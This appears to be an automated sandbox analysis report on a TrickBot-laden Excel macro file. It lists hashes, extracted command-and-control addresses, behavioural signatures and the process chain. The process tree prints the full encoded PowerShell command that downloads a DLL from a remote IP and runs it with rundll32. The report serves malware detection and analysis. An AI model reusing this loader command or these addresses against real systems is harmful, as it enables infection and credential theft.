Analysis
-
max time kernel
151s -
max time network
154s -
platform
windows10_x64 -
resource
win10-en-20210920 -
submitted
21-10-2021 15:12
Static task
static1
Behavioral task
behavioral1
Sample
RNP-00129.xlsm
Resource
win7-en-20210920
General
-
Target
RNP-00129.xlsm
-
Size
87KB
-
MD5
21f5a279cdb8389e79a711ae43a9215a
-
SHA1
74516a2bedf8b8aa4551cedba8a62e68209c0068
-
SHA256
45b7ef5a55cbcddb1f21415450ee982ebdafac1cf3a57e62acb8d014bc797dfc
-
SHA512
59af799f48b406da33005e71941341e4873ee5de0c5aa76eeb1a2465d11a9b8f4ec61209c3dbffe25078bc73b61552c82bbae9c5e3e20789ba227d7783776cde
Malware Config
Extracted
trickbot
100019
rob136
65.152.201.203:443
185.56.175.122:443
46.99.175.217:443
179.189.229.254:443
46.99.175.149:443
181.129.167.82:443
216.166.148.187:443
46.99.188.223:443
128.201.76.252:443
62.99.79.77:443
60.51.47.65:443
24.162.214.166:443
45.36.99.184:443
97.83.40.67:443
184.74.99.214:443
103.105.254.17:443
62.99.76.213:443
82.159.149.52:443
-
autorunName:pwgrabbName:pwgrabc
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3156 3132 cmd.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 31 3188 powershell.exe -
Downloads MZ/PE file
-
Loads dropped DLL 1 IoCs
Processes:
rundll32.exepid process 612 rundll32.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 3132 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 3188 powershell.exe 3188 powershell.exe 3188 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exewermgr.exedescription pid process Token: SeDebugPrivilege 3188 powershell.exe Token: SeDebugPrivilege 2280 wermgr.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
Processes:
EXCEL.EXEpid process 3132 EXCEL.EXE 3132 EXCEL.EXE 3132 EXCEL.EXE 3132 EXCEL.EXE 3132 EXCEL.EXE 3132 EXCEL.EXE 3132 EXCEL.EXE 3132 EXCEL.EXE 3132 EXCEL.EXE 3132 EXCEL.EXE 3132 EXCEL.EXE 3132 EXCEL.EXE -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
EXCEL.EXEcmd.exerundll32.exerundll32.exedescription pid process target process PID 3132 wrote to memory of 3156 3132 EXCEL.EXE cmd.exe PID 3132 wrote to memory of 3156 3132 EXCEL.EXE cmd.exe PID 3156 wrote to memory of 3188 3156 cmd.exe powershell.exe PID 3156 wrote to memory of 3188 3156 cmd.exe powershell.exe PID 3156 wrote to memory of 1592 3156 cmd.exe rundll32.exe PID 3156 wrote to memory of 1592 3156 cmd.exe rundll32.exe PID 1592 wrote to memory of 612 1592 rundll32.exe rundll32.exe PID 1592 wrote to memory of 612 1592 rundll32.exe rundll32.exe PID 1592 wrote to memory of 612 1592 rundll32.exe rundll32.exe PID 612 wrote to memory of 1292 612 rundll32.exe cmd.exe PID 612 wrote to memory of 1292 612 rundll32.exe cmd.exe PID 612 wrote to memory of 1292 612 rundll32.exe cmd.exe PID 612 wrote to memory of 2280 612 rundll32.exe wermgr.exe PID 612 wrote to memory of 2280 612 rundll32.exe wermgr.exe PID 612 wrote to memory of 2280 612 rundll32.exe wermgr.exe PID 612 wrote to memory of 2280 612 rundll32.exe wermgr.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\RNP-00129.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c start /B /WAIT powershell -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcAA6AC8ALwA0ADUALgA4ADYALgA2ADUALgAxADkANwAvAGkAbQBhAGcAZQBzAC8AcwB1AGIAegBlAHIAbwAuAHAAbgBnACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGMAbABiAC4AZABsAGwAIgA= & start C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,AloperNoteW2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcAA6AC8ALwA0ADUALgA4ADYALgA2ADUALgAxADkANwAvAGkAbQBhAGcAZQBzAC8AcwB1AGIAegBlAHIAbwAuAHAAbgBnACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGMAbABiAC4AZABsAGwAIgA=3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,AloperNoteW3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,AloperNoteW4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe5⤵
-
C:\Windows\system32\wermgr.exeC:\Windows\system32\wermgr.exe5⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\clb.dllMD5
e93c7c22c990d68ea30b5c35ada06826
SHA16044cfc7590b3e11ec8f1c86a88132e63ecd21a2
SHA256bc548ba4989edc866788f7c88c2682819445565f50bb3830a04b786ee365e528
SHA512a28f0cd14a755e1bc4e025dd13b11840e2117e9593657c3f9b9ff37fb3ee69f2101c8693185afb0c191fe00f7d35d06844177ede4dec36a6d513ccd0eddb7399
-
\ProgramData\clb.dllMD5
e93c7c22c990d68ea30b5c35ada06826
SHA16044cfc7590b3e11ec8f1c86a88132e63ecd21a2
SHA256bc548ba4989edc866788f7c88c2682819445565f50bb3830a04b786ee365e528
SHA512a28f0cd14a755e1bc4e025dd13b11840e2117e9593657c3f9b9ff37fb3ee69f2101c8693185afb0c191fe00f7d35d06844177ede4dec36a6d513ccd0eddb7399
-
memory/612-309-0x0000000010001000-0x0000000010003000-memory.dmpFilesize
8KB
-
memory/612-308-0x0000000000AB0000-0x0000000000AB1000-memory.dmpFilesize
4KB
-
memory/612-306-0x00000000046E0000-0x0000000004948000-memory.dmpFilesize
2.4MB
-
memory/612-307-0x0000000000AD0000-0x0000000000C1A000-memory.dmpFilesize
1.3MB
-
memory/612-304-0x0000000000000000-mapping.dmp
-
memory/1592-302-0x0000000000000000-mapping.dmp
-
memory/2280-311-0x00000176FED80000-0x00000176FEDA9000-memory.dmpFilesize
164KB
-
memory/2280-312-0x00000176FEF90000-0x00000176FEF91000-memory.dmpFilesize
4KB
-
memory/2280-310-0x0000000000000000-mapping.dmp
-
memory/3132-122-0x0000021DB81B0000-0x0000021DB81B2000-memory.dmpFilesize
8KB
-
memory/3132-123-0x0000021DB81B0000-0x0000021DB81B2000-memory.dmpFilesize
8KB
-
memory/3132-116-0x00007FF93B1B0000-0x00007FF93B1C0000-memory.dmpFilesize
64KB
-
memory/3132-121-0x0000021DB81B0000-0x0000021DB81B2000-memory.dmpFilesize
8KB
-
memory/3132-120-0x00007FF93B1B0000-0x00007FF93B1C0000-memory.dmpFilesize
64KB
-
memory/3132-119-0x00007FF93B1B0000-0x00007FF93B1C0000-memory.dmpFilesize
64KB
-
memory/3132-118-0x00007FF93B1B0000-0x00007FF93B1C0000-memory.dmpFilesize
64KB
-
memory/3132-117-0x00007FF93B1B0000-0x00007FF93B1C0000-memory.dmpFilesize
64KB
-
memory/3156-272-0x0000000000000000-mapping.dmp
-
memory/3188-292-0x000001F423656000-0x000001F423658000-memory.dmpFilesize
8KB
-
memory/3188-290-0x000001F423650000-0x000001F423652000-memory.dmpFilesize
8KB
-
memory/3188-291-0x000001F423653000-0x000001F423655000-memory.dmpFilesize
8KB
-
memory/3188-273-0x0000000000000000-mapping.dmp